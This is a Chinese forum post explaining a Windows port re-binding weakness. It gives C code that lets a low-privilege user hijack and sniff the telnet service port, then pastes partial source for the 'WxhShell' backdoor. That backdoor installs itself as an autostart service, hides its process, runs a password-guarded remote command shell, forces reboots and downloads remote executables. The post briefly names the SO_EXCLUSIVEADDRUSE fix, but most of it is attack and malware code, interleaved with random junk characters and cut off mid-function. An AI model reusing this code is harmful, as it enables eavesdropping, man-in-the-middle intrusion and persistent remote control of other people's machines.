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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Iga +8k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aIa<,  
;AOLbmb)H4  
  saddr.sin_family = AF_INET; =bD.5,F)  
ya~;Of5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nsi? .c&0!  
Ojl X<y.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E%v0@  
[nVBnB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sv% E5@  
5<PNl~0  
  这意味着什么?意味着可以进行如下的攻击: Sq,>^|v4&e  
#b428-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1ds4C:M+<  
4pT^ *  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MFa/%O_*  
zC)JOykI%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oc,I, v  
l([aKm#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D )`(b  
&\6},JN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aeN #<M&$<  
9Xg7=(#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FvVC 2Z  
=Y|( }92  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q+Q"JU  
$<)]~* *K  
  #include T$u'+* Xx  
  #include 9rz$c, Y(  
  #include 'q:7PkN!p  
  #include    LRu*%3xx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yKj}l,i~8  
  int main() +zche  
  { %eofG]VM<  
  WORD wVersionRequested; /Lr`Aka5  
  DWORD ret; *)w+xWmM3w  
  WSADATA wsaData; #3_g8ni5X  
  BOOL val; 9VTAs:0D=  
  SOCKADDR_IN saddr; EQ^]W-gN  
  SOCKADDR_IN scaddr; s/hWhaS<  
  int err; l+2NA4s  
  SOCKET s; P]^OSPRg  
  SOCKET sc; !Q~>)$Cf^  
  int caddsize; b6k_u9m^E  
  HANDLE mt; @R`6j S_gK  
  DWORD tid;   |0}Xb|+  
  wVersionRequested = MAKEWORD( 2, 2 ); T\p>wiY2|F  
  err = WSAStartup( wVersionRequested, &wsaData ); `!N}u  
  if ( err != 0 ) { ? Pi|`W   
  printf("error!WSAStartup failed!\n"); 5%9Uh'y#  
  return -1; Go c*ugR  
  } %.`u2'^  
  saddr.sin_family = AF_INET; a_S`$(7k  
   &Cj~D$kDEu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P,m+^,  
5L2j, ]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o>(<:^x9  
  saddr.sin_port = htons(23); .^=I&X/P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u(1m#xr8$  
  { =TEe:%mN  
  printf("error!socket failed!\n"); :35h0;8+  
  return -1; @a]cI  
  } 3t+{~{Dj  
  val = TRUE; M/.M~/ ~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v4Ag~Evcx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {:"<E?+  
  { vzfMME17  
  printf("error!setsockopt failed!\n"); 25`W"x_  
  return -1; N}VoO0I  
  } 53aJnxX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k?Hi_;o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LvS5N)[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ws3z-U>j  
Wf "$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `_)9eGQ  
  { U}X'RCM  
  ret=GetLastError(); JXkx!X_{  
  printf("error!bind failed!\n"); vjGJRk|XED  
  return -1; =/a`X[9vI  
  } b*S,8vE]  
  listen(s,2); ,{:qbt  
  while(1) eSObOG/  
  { VFZyWX@#u  
  caddsize = sizeof(scaddr); k0I$x:c  
  //接受连接请求 [>GblL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]aMDx>OE  
  if(sc!=INVALID_SOCKET) Jgr;'U$  
  { f eB ?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3C!|!N1Hn  
  if(mt==NULL) mIG>`7`7N  
  { um$U3'0e  
  printf("Thread Creat Failed!\n"); <Tgubv+J  
  break; 1&e8vVN  
  } ]!S#[Wt {k  
  } ={cM6F}a@  
  CloseHandle(mt); CZ] Dm4  
  } mB0`>?#i  
  closesocket(s); R&t2   
  WSACleanup(); <75x@!  
  return 0; u y"i3xD6-  
  }   9:RV5Dt  
  DWORD WINAPI ClientThread(LPVOID lpParam) -tWxB GSa@  
  { :I";&7C  
  SOCKET ss = (SOCKET)lpParam; mp sX4  
  SOCKET sc; 2l V`UIa  
  unsigned char buf[4096]; ,V]FAIJ  
  SOCKADDR_IN saddr; z"7?I$N Q  
  long num; T;Kv<G;  
  DWORD val; J_&cI%.  
  DWORD ret; 7ZAxhFC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YG*<jKcX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >#r0k|3J^J  
  saddr.sin_family = AF_INET; wsrdBxd5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8Wtr,%82  
  saddr.sin_port = htons(23); fl4@5AVY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a0JMLLa [I  
  { <w~$S0_  
  printf("error!socket failed!\n");  7Tr '<(A  
  return -1; V+>RF  
  } 2<0".5+I  
  val = 100; x%$6l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =HMCNl  
  { zBTxM  
  ret = GetLastError(); 3VMaD@nYa  
  return -1; _]'kw [  
  } U<XfO'XJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GfP'  
  { ?6vGE~ MuR  
  ret = GetLastError(); 7!`1K_v6  
  return -1; %CQa8<q  
  } gJwX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T<nK/lp1t  
  { NA@Z$Gy  
  printf("error!socket connect failed!\n"); c+Z dfdR  
  closesocket(sc); _z]v;Q  
  closesocket(ss);  wDiq~!  
  return -1; 0#yH<h$   
  } ?^-fivzS>  
  while(1) h^IizrqU  
  { Qt'3v"S>)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Tp~Qg{%Og  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Gl{2"!mt=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &u"mFweS  
  num = recv(ss,buf,4096,0); $@{ d\@U  
  if(num>0) 90J WU$K  
  send(sc,buf,num,0); )knK'H(  
  else if(num==0) %T<c8w}dP  
  break; 1M_6X7PH  
  num = recv(sc,buf,4096,0); [}Rs  
  if(num>0) .{;RJ:O  
  send(ss,buf,num,0); >PdrLwKS  
  else if(num==0) pkG8g5(w  
  break; BB1_EdoG  
  } 2^5RQl/  
  closesocket(ss); C)qG<PW.!  
  closesocket(sc); 60|m3|0o  
  return 0 ; ^N ;TCn  
  } th"Aatmp  
kp?_ir  
o"N\l{#s  
========================================================== Ek06=2i  
+m}D.u*cp  
下边附上一个代码,,WXhSHELL I)3LJK  
{RsdI=%  
========================================================== M!VW/vdywL  
<dS I"C<  
#include "stdafx.h" ij?]fXf:)y  
QRdtr  
#include <stdio.h> z:Ru`  
#include <string.h> (i<\n`h1K  
#include <windows.h> ZLP0SCkuR  
#include <winsock2.h> i-95>ff  
#include <winsvc.h> 8*VQw?{Uee  
#include <urlmon.h> c2gZ<[~  
.ArOZ{lKD>  
#pragma comment (lib, "Ws2_32.lib") 0"sZP\<p  
#pragma comment (lib, "urlmon.lib") 54]UfmT%I  
L)H/t6}i  
#define MAX_USER   100 // 最大客户端连接数 ^'sy hI\  
#define BUF_SOCK   200 // sock buffer gz:US 77  
#define KEY_BUFF   255 // 输入 buffer {c $8?6  
*m&'6qsS  
#define REBOOT     0   // 重启 qvh8~[  
#define SHUTDOWN   1   // 关机 #x6w M~  
X*)DpbWd  
#define DEF_PORT   5000 // 监听端口 L`w_Q2{sv  
Oeg^%Y   
#define REG_LEN     16   // 注册表键长度 HR'F  
#define SVC_LEN     80   // NT服务名长度 6_w~#86=  
UY\E uA9  
// 从dll定义API +OI nf_O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); loyhNT=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8RZqoQDH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &$pQ Jf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ni;jMc  
EUPc+D3  
// wxhshell配置信息 e/)Vx'd`+  
struct WSCFG { 1B{u4w7S4e  
  int ws_port;         // 监听端口 oSR;Im<2  
  char ws_passstr[REG_LEN]; // 口令 sw(|EZ7F  
  int ws_autoins;       // 安装标记, 1=yes 0=no c/-'^+9  
  char ws_regname[REG_LEN]; // 注册表键名 r/+~4W5  
  char ws_svcname[REG_LEN]; // 服务名 );p:[=$71  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @&Af [X4s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ){tT B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gHH[QLD=I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IV`+B<3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )\izL]=!t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eN  TKX  
{I$zmVG  
}; ,G$<J0R1  
%x^U3"7  
// default Wxhshell configuration *M~BN}.  
struct WSCFG wscfg={DEF_PORT, M"OCwBT U  
    "xuhuanlingzhe", %wq;<'W  
    1, `4|:8@,3{  
    "Wxhshell", ^ -lWv  
    "Wxhshell", E@@XWU21;N  
            "WxhShell Service", U]E~7C  
    "Wrsky Windows CmdShell Service", ~#rmw6y  
    "Please Input Your Password: ", ukee.:{  
  1, -zm-|6[Wi  
  "http://www.wrsky.com/wxhshell.exe", #.@D}7y5  
  "Wxhshell.exe" kbx4I?  
    }; al]-*=v7}  
Cj6$W5I m  
// 消息定义模块 thh0~g0/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AHP;N6Y6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n--s[Kdo8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n 8)eC2 A  
char *msg_ws_ext="\n\rExit."; +39p5O!  
char *msg_ws_end="\n\rQuit."; Y)C!N$=@Q  
char *msg_ws_boot="\n\rReboot..."; l.SoiFDd  
char *msg_ws_poff="\n\rShutdown..."; Kl :x?"g)  
char *msg_ws_down="\n\rSave to "; SivJaY%  
0{47TX*YX  
char *msg_ws_err="\n\rErr!"; w"h3e  
char *msg_ws_ok="\n\rOK!"; ? C6t Yd  
*b(nX,e  
char ExeFile[MAX_PATH]; t "[2^2G  
int nUser = 0; !ac,qj7spa  
HANDLE handles[MAX_USER]; Vfr.Yoy  
int OsIsNt; ]RI+:f  
T^nOv2@,  
SERVICE_STATUS       serviceStatus; /Nd`eUn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JHsxaX;c  
zW; sr.  
// 函数声明 2Ni {fC?  
int Install(void); gp]T.ol  
int Uninstall(void); &>Nw>V  
int DownloadFile(char *sURL, SOCKET wsh); |#O>DdKHT  
int Boot(int flag); ALp|fZ\vp  
void HideProc(void); zhC5%R &n/  
int GetOsVer(void); SGLU7*sfd  
int Wxhshell(SOCKET wsl); C.=[K_  
void TalkWithClient(void *cs); pb|,rLNZ  
int CmdShell(SOCKET sock); /E5>cqX4A  
int StartFromService(void); 6Iv &c2  
int StartWxhshell(LPSTR lpCmdLine); 1>_2 =^[  
qL!pDZk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z7]GZF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {bO O?pp  
/G!M\teeF  
// 数据结构和表定义 39Tlt~Psz  
SERVICE_TABLE_ENTRY DispatchTable[] = OP\m~1  
{ mq oB]H,  
{wscfg.ws_svcname, NTServiceMain}, nW_cjYS%  
{NULL, NULL} \2y [Hy?  
}; LVBE+{P\5?  
)SWLX\b  
// 自我安装 ![aa@nOSa  
int Install(void) -h,?_d>  
{ Y/,Cy0!  
  char svExeFile[MAX_PATH]; N9BfjT}  
  HKEY key; DYW&6+%,hO  
  strcpy(svExeFile,ExeFile); ]R]%c*tA  
oYrg;]H  
// 如果是win9x系统,修改注册表设为自启动 ze#r/j;sw  
if(!OsIsNt) { e#|YROHf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ECvTmU'=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u:%Ln_S  
  RegCloseKey(key); ')KuLVE}S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tE;c>=>t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ")eY{C  
  RegCloseKey(key); eDS,}Z'  
  return 0; 1HBXD\!  
    } :#Nrypsu  
  } C;XhnqWv+l  
} %"BJW  
else { QJtO~~-  
%@Nu{?I  
// 如果是NT以上系统,安装为系统服务 <4%vl+qW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _+}#  
if (schSCManager!=0) P?j;&@$^e  
{ YaAOP'p  
  SC_HANDLE schService = CreateService )EIT>u=  
  ( %<^j=K= 0  
  schSCManager, A\)~y{9bQ  
  wscfg.ws_svcname, BKd?%V8:Q  
  wscfg.ws_svcdisp, +W}6o3x~  
  SERVICE_ALL_ACCESS, VqnM>||  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t`E e/L%  
  SERVICE_AUTO_START, ?=V;5H.  
  SERVICE_ERROR_NORMAL, >|g(/@IO  
  svExeFile, ?dAy_| zD  
  NULL, EEj.Kch}4  
  NULL, sc$I,|d2  
  NULL, @ x5LrQ_`r  
  NULL, O#x=iZI  
  NULL OzUo}QN  
  ); D7v_ <  
  if (schService!=0) ^D A<=C-[!  
  { 5b;~&N4~  
  CloseServiceHandle(schService); |a>,FZv8e  
  CloseServiceHandle(schSCManager); yUEvva  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dnCurWjdk  
  strcat(svExeFile,wscfg.ws_svcname); .g!K| c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZFRKzPc {V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 80 ckh  
  RegCloseKey(key); X \qG WpN%  
  return 0; 8 Cw3b\ne  
    } Tx|y!uHh  
  } }mOo=)C!  
  CloseServiceHandle(schSCManager); gvoYyO#cm  
} `zsooA Gt  
} eR:C?v  
W7"UhM  
return 1; )w,<XJhg`  
} p;.M .  
0n*D](/NK  
// 自我卸载 lwm 9gka  
int Uninstall(void) Y |9  
{ 0?O$->t  
  HKEY key; b!`{fwV  
qpV"ii  
if(!OsIsNt) { /n1L},67h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q+ZZwqyxD  
  RegDeleteValue(key,wscfg.ws_regname); hd@jm^k  
  RegCloseKey(key); 3>mAZZL5[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j?1wP6/NP  
  RegDeleteValue(key,wscfg.ws_regname); 1x^Vv;K  
  RegCloseKey(key); QAX3*%h  
  return 0; i7%`}t  
  } B0D  
} x.Tulo0/  
} y'(a:.%I  
else { V E?Aa  
$0|`h)&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )Bu#ln"  
if (schSCManager!=0) AejM\#>  
{ y+nX(@~f]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r*9*xZ>8u  
  if (schService!=0) 2=uwGIF  
  { 0G`@^`  
  if(DeleteService(schService)!=0) { /h9v'Y}c  
  CloseServiceHandle(schService); 4))N(m%3F  
  CloseServiceHandle(schSCManager); bD. KD)5  
  return 0; CZog?O}<  
  } b*1yvkX5  
  CloseServiceHandle(schService); q1Mt5O}  
  } *auT_*  
  CloseServiceHandle(schSCManager); (#8B  
} z0@BBXQ`  
} fNz(z\  
-^q;e]+J  
return 1; gFl@A}  
} @D>qo=KPM  
iw%" "q(`  
// 从指定url下载文件 3:T~$M`]  
int DownloadFile(char *sURL, SOCKET wsh) 934@Z(aUH  
{ Hb0_QT~  
  HRESULT hr; Yz#E0aTTA  
char seps[]= "/"; _ Y7 Um  
char *token; g)7@EU2  
char *file; X0]{8v%  
char myURL[MAX_PATH]; )YW"Zo8~!1  
char myFILE[MAX_PATH]; X.ecA`0  
[,(+r7aB  
strcpy(myURL,sURL); }m&\I  
  token=strtok(myURL,seps); S_?sJwM  
  while(token!=NULL) Po*!eD  
  { `\GR Y @cg  
    file=token; \,'4eV  
  token=strtok(NULL,seps); w)&?9?~  
  } rE]Nr ;Ys  
Z<,Hz+  
GetCurrentDirectory(MAX_PATH,myFILE); $PRUzFZ  
strcat(myFILE, "\\"); _r>kR7A\{  
strcat(myFILE, file); X 8):R- J  
  send(wsh,myFILE,strlen(myFILE),0); z_Hkw3?  
send(wsh,"...",3,0); &OA6Zw/A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3)I]bui  
  if(hr==S_OK) @saK:z  
return 0; @WNqD*)1  
else ~tn$AtK  
return 1; r dCs  
>Y(JC#M;  
} 6|IJwP^Q_  
EP^qj j@M  
// 系统电源模块 -[}Aka,f!  
int Boot(int flag) d0R;|p''Z  
{ k(o(:-+x  
  HANDLE hToken; 31UxYBY  
  TOKEN_PRIVILEGES tkp; uIBN !\j  
En)Ptz#0  
  if(OsIsNt) { 2_ 1RJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;e.8EL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p=3t!3  
    tkp.PrivilegeCount = 1; HJBGxy w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :zY;eJKm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f@[)*([  
if(flag==REBOOT) { %a FZbLK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -*Tf.c  
  return 0; ',/#|  
} T?RN} @D  
else { -xbs'[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cQ'x]u_  
  return 0; 3iUJ!gK  
} :s \zk^h?  
  } ~!=Am:-wr  
  else { wE"lk  
if(flag==REBOOT) { MV2$0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \Zh&[D!2  
  return 0; ay|jq "a  
} g rCQ#3K*?  
else { ~`="tzr:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;K~=? k  
  return 0; }zxf~4 1  
} P&=YLL<W  
} &*Xrh7K2e  
v(GnG  
return 1; P j,H]  
} 8:)[.  
?zQW9e  
// win9x进程隐藏模块 &iZt(XD  
void HideProc(void) (P;TM1k  
{ K^o{lyK;@~  
(EvYrm4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bI|{TKKN&P  
  if ( hKernel != NULL ) 5gV,^[E-z  
  { DBG0)=SHy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LT>_Y`5>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hW'b'x<  
    FreeLibrary(hKernel);  v\CBw"  
  } @$!6u0x  
O2?yI8|Jn  
return; EZ:? (|h  
} 8#g}ev@|u  
t- TUP>_  
// 获取操作系统版本 R)ZzRz|/  
int GetOsVer(void) mj'N)6ga  
{ 0|J9Btbp  
  OSVERSIONINFO winfo; <Np Mv!g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ij#v_~g3  
  GetVersionEx(&winfo); i/I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]*'_a@h  
  return 1; ju3@F8AI  
  else :*BN>*1^\r  
  return 0; :3XvHL0rx  
} _'1 7C /  
lZ)6d-vK  
// 客户端句柄模块 xf/K+  
int Wxhshell(SOCKET wsl) . AOc$Nt  
{ mtkZF{3Jx  
  SOCKET wsh; EpKZ.lCU  
  struct sockaddr_in client; #d3_7rI0V  
  DWORD myID; V=p"1!(  
-s!J3DB  
  while(nUser<MAX_USER) D\+x/r?-I  
{ 4H;7GNu  
  int nSize=sizeof(client); GD)paTwO<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xb%Q[V_m  
  if(wsh==INVALID_SOCKET) return 1; 7w" !"W#  
vea{o 35!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lR7;{zlSf'  
if(handles[nUser]==0) Y:\]d1C  
  closesocket(wsh); yUD@oOVC0  
else YgjW%q   
  nUser++; |bSAn*6b  
  } {D^ )% {  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ULu@"  
k{lo'  
  return 0; w'A*EWO  
} j>?nL~{  
u{&=$[;  
// 关闭 socket 7P}l^WX  
void CloseIt(SOCKET wsh) J k`Jv;  
{ ks("( nU  
closesocket(wsh); wJJ|]^0.  
nUser--; p>\[[Md  
ExitThread(0); p/Q< VV  
} ,mvFeo;@f  
H)E,([   
// 客户端请求句柄 g.Qn,l]X/p  
void TalkWithClient(void *cs) 6Iv};f"Y  
{ =WI3#<vDG  
D</?|;J#/  
  SOCKET wsh=(SOCKET)cs; H7P}=YW".  
  char pwd[SVC_LEN]; Sin)]zG~0  
  char cmd[KEY_BUFF]; UMBeY[ ?  
char chr[1]; xi.?@Lff  
int i,j; #:yAi_Ct  
N#jUqm  
  while (nUser < MAX_USER) { COm^ ti-p  
Lg,ObVt!  
if(wscfg.ws_passstr) { 0PFC %x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D4(73  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); frm[<-~w0  
  //ZeroMemory(pwd,KEY_BUFF); bv(+$YR  
      i=0;  0%,W5w  
  while(i<SVC_LEN) { Fje /;p  
'_Pb\ jK  
  // 设置超时 4clCZ@\K^  
  fd_set FdRead; )'g4Ty  
  struct timeval TimeOut; B* 3_m _a  
  FD_ZERO(&FdRead); ~N| aCi-X  
  FD_SET(wsh,&FdRead); bA Yp }  
  TimeOut.tv_sec=8; NX(IX6^y  
  TimeOut.tv_usec=0; SeS ZMv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7b-[# g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Jg<H %%f  
<_pLmYI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @XL49D12c  
  pwd=chr[0]; zA$ Y@f  
  if(chr[0]==0xd || chr[0]==0xa) { {yT<22Fl  
  pwd=0; 8KigGhY'ms  
  break; +/%4E %  
  } Pq35w#`!  
  i++; _X<V` , p  
    } N;P/$  
y c<%f  
  // 如果是非法用户,关闭 socket 0QquxYYw,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hUp3$4w  
} rVsCJuxI  
i@WO>+iB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2uY:p=DxG9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? N]bFW"t|  
u 1}dHMoX~  
while(1) { ZJGIib  
S\sy^Kt~4:  
  ZeroMemory(cmd,KEY_BUFF); y|*4XF<b  
y,Bj,zw  
      // 自动支持客户端 telnet标准   SI%J+Y7  
  j=0; SJj_e-  
  while(j<KEY_BUFF) { .3Smqwm=Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vu~fF@ |  
  cmd[j]=chr[0]; 1 rbc}e  
  if(chr[0]==0xa || chr[0]==0xd) { HlkjyD8  
  cmd[j]=0; &.z-itiV  
  break; *"F*6+}w"  
  } h<?I?ZR0$  
  j++; wV$V X  
    } P&5vVA6K7  
#q0xlF@  
  // 下载文件 #\Q)7pgi.  
  if(strstr(cmd,"http://")) { W0U|XX!&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F/A)2 H_  
  if(DownloadFile(cmd,wsh)) CnY dj~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E6G;fPd= E  
  else ]>sMu]biH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .g}Y! l  
  } kIt1kw  
  else { n],cs  
4T&Jlu?:  
    switch(cmd[0]) { p{r{}iYI  
  R~TG5^(  
  // 帮助 ko!aX;K  
  case '?': { ^H<VH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A"+t[0$.  
    break; 436SIh  
  } QiRx2Z*\  
  // 安装 }!s$ / Kn  
  case 'i': { [ CU8%%7  
    if(Install()) 1_}k)(n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ih:%U  
    else j}jU.\*v<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J[K>)@I/  
    break; _A]~`/0;`  
    } #LwDs,J:  
  // 卸载 B]7QOf"  
  case 'r': { &\/}.rF  
    if(Uninstall()) J(XK%e[8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nu|odP  
    else b%X}{/n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }_Sgor83n  
    break; i~HS"n  
    } ;Oqbfl#%  
  // 显示 wxhshell 所在路径 1 EV0Y]T1  
  case 'p': { Dp@m"_1`+  
    char svExeFile[MAX_PATH]; 3i}$ ~rz]U  
    strcpy(svExeFile,"\n\r"); _1$+S0G;  
      strcat(svExeFile,ExeFile); 'xM\txZ;  
        send(wsh,svExeFile,strlen(svExeFile),0); f%YD+Dt_V  
    break; 8Waic&lX~  
    } Z>@\!$Mc  
  // 重启 jJ_6_8#  
  case 'b': { SS,'mv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aMJ9U )wnK  
    if(Boot(REBOOT)) bV@5B#] 2R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2fUz}w (  
    else { *nUa0Zg4q6  
    closesocket(wsh); jN7Z} 1`  
    ExitThread(0); R ta_\Aj!  
    } 9'p pb  
    break; d k|X&)xTJ  
    } [vCZD8"Y8  
  // 关机 U:IeMf-;  
  case 'd': { 3_ =:^Z  
